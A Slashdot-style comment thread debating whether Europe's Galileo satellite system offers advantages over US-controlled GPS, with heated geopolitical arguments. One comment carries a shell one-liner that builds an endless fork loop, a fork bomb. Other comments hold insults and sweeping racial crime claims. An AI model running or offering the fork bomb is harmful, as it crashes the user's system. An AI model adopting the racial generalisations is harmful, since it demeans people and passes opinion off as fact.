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Galileo Sends Its First Signals
VVrath writes "Galileo, the European answer to the US Military-owned GPS has sent it's first signals to ground stations in the UK and Belgium. The first satellite in the Galileo system, Giove-A was launched on December 28th 2005, and is set to be followed by a further 29 satellites by 2010. At a cost of over $4 Billion, is this system really going to offer any major advantages over GPS, or is it merely a politicised 'anything you can do we can do better' by the European Space Agency?"
It is always easier to imitate than to innovate.
This sounds like a situation of control. Rather than sumbit to US authority (which intentionally cripples GPS accuracy for commercial uses), European nations are apparently willing to buy their own (new and improved too!).
The Galileo GPS exists for only one reason: to fight a war against the USA. Nothing else fits the facts. They want the US not to have the off switch - why? The US has not used the off switch, and has promised never even to use the "lo rez" switch. So far they've kept that promise. Why would they break it? Only in the direst national emergency. Why then would any friend want them to be unable? They wouldn't. Only an attacker, or the friend of an attacker would want that.
Why do you hate America?
Athletic Scholarships to universities make as much sense as academic scholarships to sports teams.
Yeah, nothing has made me feel safer than the US led attack on Iraq...
On no, my mistake, that should read "less safe".
Athletic Scholarships to universities make as much sense as academic scholarships to sports teams.
Well I kind of figured that France/EU institutions would lead the anti US camp, and Britain the pro US one. The rest would either back one side to varying extents or stay neutral. If you take that to it's logical conclusion, it's a pretty chilling prospect, since neither country is known for backing down in such things.
The irony of course, is that the main argument for EU integration was to make a future war in Europe impossible. But the view of the US taken by the EU bureaucrats is actually sabotaging this in the long run.
And China, Russia and so one will try to take advantage of the split too. Both have joined the Galileo project, and both will presumably supply technology based on it directly to rogue states, even if the French don't.
So technically, I think it's a nice system. In terms of geopolitics, it's a classic example of the EU establishment's hatred of the US blinding them to far more serious threats over the next few decades.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Yeah, nothing has made me feel safer than the US led attack on Iraq..
unless you're an Iraqi that is crazy-troll-hyperbole. Cuz you seem the be forgetting 1945-1989, during which time the US paid for the defense of Europe from some pretty nasty governments. Even today the US is disproportionately footing the bill for the collective defense of western nations from Iran and North Korea. And without the monstrous bill for this military industrial complex, the US could debate between the 'kinder-gentler' socialist society mentioned above or a libertarian low-tax utopia.
But as it stands, the US doesn't really have an option of doing either. By winning the cold war, the US has made itself a target for every tyrannical regime with something to prove... and it can't cut back very much on defense in such an environment. The only hope of cutting defense spending that the US topple almost every non-deomcratic regime on the planet and replace them with European style democracies. That way these countries will no longer be able to take the extreme measures needed to raise a large military in a small country. And then the US will only have a handful of large militaires to deal with: Russia, China, India, Pakistan, etc... and those countries are the sort that pretty much would like to spend less on their military if they found a way and just compete economically with each other. And if Free Trade becomes the way of the world, economic competition can be done more cheaply (and more rationally) without a large military. This is opposed to places that could care less about economics and reason like Iran that wants to nuke all of the Jews, and North Korea where they want to be James Bond supervillans.
Since the US will one day no longer be able to afford its large military, it really must make war on potential threats now so as to avoid a world will it will be brutalized when its power falters. I'm not making this argument to justify or attack such a policy... I just think it's inevitable, and we should all just figure out how to deal with it.
There are 10 types of people in this world, those who can count in binary and those who can't.
Hint: spending billions requires a real payback somewhere down the road:
e tail.jsp?id=63243
Galileo is seen as an instrument of EU independence that will also help sell French weapons. As things stand, France cannot sell GPS-supported arms outside of NATO, explained another source. This leaves out a substantial number of potential customers, and France needs to reach out to other markets -- in fact, it has made securing new arms markets a part of its national policy. http://www.gpsworld.com/gpsworld/article/articleD
Because "America"--the US of A part of it--sucks. kthxbai.
No, but it does for a GPS guided RPG. Those are much harder to intercept too.
What a clever idea. 30 minutes after Galileo goes live, the Russians will be demonstrating them to the Iranians, who will then give them to any Islamist group that asks for them.
"I don't know, therefore Aliens" Wafflebox1
The point is, what assurances can the EU give that they won't behave like the US, and why should we believe them?
Or worse. What if the French and Germans get in another spat, or a latter-day Dominique de Villepin gets pissy the next time Bill O'Reilly decides to talk about Freedom Fries?
"I don't know, therefore Aliens" Wafflebox1
You can be sure that Russia has much more respect for EU which is its biggest trade partner than that joke of a goverment you got in the US at the moment. Putin is happy to go over and have photo opportunities with Bush, but Putin hasn't listen to any of the wishes that Bush has had starting with support in Iraq. Putin knows that Bush is just a joke. Do you really believe that those cowards in the Bush administration would go ape shit against any nation with nukes. Just look at how Bush is pussy footing around North-Korea while invading a non-treating country like Iraq since they knew they didn't have any WMD. It is not only stupid, it is pure weakness on display for the whole world.
--- guns don't kill people, people with guns kill people ---
You need to learn the difference beetween Realpolitic and press conferences.
Regrettably, many Americans view Europeans as uncompetitive.
Cites? Sources? A single sociological study published in an accredited, peer-reviewed journal? Or did you just pull this anecdotal piece of shit directly out of your ass and present it as fact?
The American urban legend says
No, YOU say that. Probably because you're an idiot who believes that whatever he thinks must be true, the facts be damned. Good christ, what a moron....
Americans conveniently overlook the fact
Yep, looks like I was right. Hey, get back to us when you're done congratulating yourself in the mirror over presenting your tripe as truth. Asshole.
Max
My god carries a hammer. Your god died nailed to a tree. Any questions?
Americans conveniently overlook the fact that Europeans have chosen to be a bit more socialist in their economic policies in order to build kinder and gentler societies. Just compare the crime rates between the USA and Europe. The Europeans have largely succeeded.
Keep talking like that, and I'm gonna have to open up a Texas-sized can of whoopass!
I think I need a new sig here.
+2 insightful... then -4 overrated (why overrated... because that is less likely to be meta-moderated unfair). This sort of moderator abuse is become more and more common on slashdot lately. If people keep abusing the moderation system to silence opposing views, then it will destroy the freewheeling forum of slashdot at its best and turn it into some sort of lame clique.
:)
Here's an idea... if you don't like my opinions, use the friend system to hide my comments. If you don't like one of my posts, you won't really get anything out of my other posts... so just mark me and others you don't like down as a foe... then you'll have you're own private slashdot experience where no one disagrees with you
Maybe moderation shouldn't be anonymous anymore.. and let me turn off all moderations from a person on my foe list -- so that I don't loose other people's contrary voices when I read stories.
There are 10 types of people in this world, those who can count in binary and those who can't.
Just because you don't like it doesn't mean it's not true. Just because it shows the lie of your multiculture-diversity-rainbow philosophy doesn't mean it's not based in fact.
Here's some more for you.
In the US, 75% of murderers have prior felony convictions. However, so do 50% of murder victims. You've got scum killing scum, basically, and I'm hard pressed to care about it. So the murder rate for decent human beings is actually about half of the 6/100,000 number.
I'm not saying the dead felons deserved to be killed, but it's a predictable result of engaging in a criminal lifestyle.
As for skin color vs crime, it's also true that blacks perpetuate and are victims of crimes in disproportionate numbers, as compared to other skin-tone associated groups. I don't make this shit up, you can check it yourself.
thats wonderful. i dont know where to begin with the logic flaws in this 'argument'.
You can begin by visiting the US Department of Justice website, looking at the stats, and seeing that you are in error, not the OP.
Alcohol, Tobacco and Firearms should be the name of a store, not a government agency.
Don't kid yourself. If the US continues with its current geopolitical strategy of propping up its economy by knocking over whichever country looks like it has lunch money to steal, WWIII will be the US against everyone else. I think all the major players realize that now. There's no point siding with the US because in the long run the US is doomed. Unless you guys manage to wean yourselves off the oil real quick and stop printing worthless money - and I don't just see that happening.
The Galileo project went ahead against the US govt's wishes. It's a strategic necessity for Europe to have its own system because we know damn well we can't rely on the US being an ally forever. Not any more.